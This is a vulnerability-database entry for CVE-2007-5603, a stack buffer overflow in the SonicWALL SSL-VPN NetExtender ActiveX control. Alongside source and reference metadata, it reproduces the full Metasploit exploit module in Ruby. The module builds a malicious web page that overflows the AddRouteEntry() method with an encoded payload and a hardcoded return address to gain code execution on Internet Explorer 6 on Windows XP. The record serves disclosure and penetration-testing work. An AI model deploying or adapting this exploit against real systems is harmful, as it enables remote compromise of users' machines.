ID

VAR-E-200911-0073


CVE

cve_id:CVE-2007-5603

Trust: 2.1

sources: PACKETSTORM: 83233 // EXPLOIT-DB: 16616 // EDBNET: 39306

EDB ID

16616


TITLE

SonicWALL SSL-VPN - NetExtender ActiveX Control Buffer Overflow (Metasploit) - Windows remote Exploit

Trust: 0.6

sources: EXPLOIT-DB: 16616

DESCRIPTION

SonicWALL SSL-VPN - NetExtender ActiveX Control Buffer Overflow (Metasploit). CVE-2007-5603CVE-39069 . remote exploit for Windows platform

Trust: 0.6

sources: EXPLOIT-DB: 16616

AFFECTED PRODUCTS

vendor:sonicwallmodel:ssl-vpnscope: - version: -

Trust: 1.0

vendor:sonicwallmodel:ssl-vpn netextender activex controlscope: - version: -

Trust: 0.5

sources: PACKETSTORM: 83233 // EXPLOIT-DB: 16616

EXPLOIT

##
# $Id: sonicwall_addrouteentry.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})
super(update_info(info,
'Name' => 'SonicWall SSL-VPN NetExtender ActiveX Control Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in SonicWall SSL-VPN NetExtender.
By sending an overly long string to the "AddRouteEntry()" method located
in the NELaunchX.dll (1.0.0.26) Control, an attacker may be able to execute
arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [ 'MC' ],
'Version' => '$Revision: 9262 $',
'References' =>
[
[ 'CVE', '2007-5603'],
[ 'OSVDB', '39069'],
[ 'URL', 'http://www.sec-consult.com/303.html' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 800,
'BadChars' => "\x00\x09\x0a\x0d'\\",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'IE 6 / Windows XP SP2 Pro English', { 'Ret' => 0x7e497c7b } ], # 11/01/07
],
'DisclosureDate' => 'Nov 1 2007',
'DefaultTarget' => 0))
end

def autofilter
false
end

def check_dependencies
use_zlib
end

def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)

# Randomize some things
vname = rand_text_alpha(rand(100) + 1)
strname = rand_text_alpha(rand(100) + 1)

# Set the exploit buffer
sploit = rand_text_english(36) + [target.ret].pack('V')
sploit << p.encoded + rand_text_english(1024 - p.encoded.length)

# Build out the message
content = %Q|<html>
<object classid='clsid:6EEFD7B1-B26C-440D-B55A-1EC677189F30' id='#{vname}'></object>
<script language='javascript'>
var #{vname} = document.getElementById('#{vname}');
var #{strname} = new String('#{sploit}');
#{vname}.AddRouteEntry(#{strname}, #{vname});
</script>
</html>
|

print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

# Transmit the response to the client
send_response_html(cli, content)

# Handle the payload
handler(cli)
end

end

Trust: 1.0

sources: EXPLOIT-DB: 16616

EXPLOIT LANGUAGE

rb

Trust: 0.6

sources: EXPLOIT-DB: 16616

PRICE

free

Trust: 0.6

sources: EXPLOIT-DB: 16616

TYPE

NetExtender ActiveX Control Buffer Overflow (Metasploit)

Trust: 1.0

sources: EXPLOIT-DB: 16616

TAGS

tag:Metasploit Framework (MSF)

Trust: 1.0

tag:exploit

Trust: 0.5

tag:overflow

Trust: 0.5

tag:arbitrary

Trust: 0.5

sources: PACKETSTORM: 83233 // EXPLOIT-DB: 16616

CREDITS

Metasploit

Trust: 0.6

sources: EXPLOIT-DB: 16616

EXTERNAL IDS

db:NVDid:CVE-2007-5603

Trust: 2.1

db:EXPLOIT-DBid:16616

Trust: 1.6

db:EDBNETid:39306

Trust: 0.6

db:PACKETSTORMid:83233

Trust: 0.5

sources: PACKETSTORM: 83233 // EXPLOIT-DB: 16616 // EDBNET: 39306

REFERENCES

url:https://nvd.nist.gov/vuln/detail/cve-2007-5603

Trust: 2.1

url:https://www.exploit-db.com/exploits/16616/

Trust: 0.6

sources: PACKETSTORM: 83233 // EXPLOIT-DB: 16616 // EDBNET: 39306

SOURCES

db:PACKETSTORMid:83233
db:EXPLOIT-DBid:16616
db:EDBNETid:39306

LAST UPDATE DATE

2022-07-27T09:23:08.908000+00:00


SOURCES RELEASE DATE

db:PACKETSTORMid:83233date:2009-11-26T00:34:53
db:EXPLOIT-DBid:16616date:2010-05-09T00:00:00
db:EDBNETid:39306date:2010-05-09T00:00:00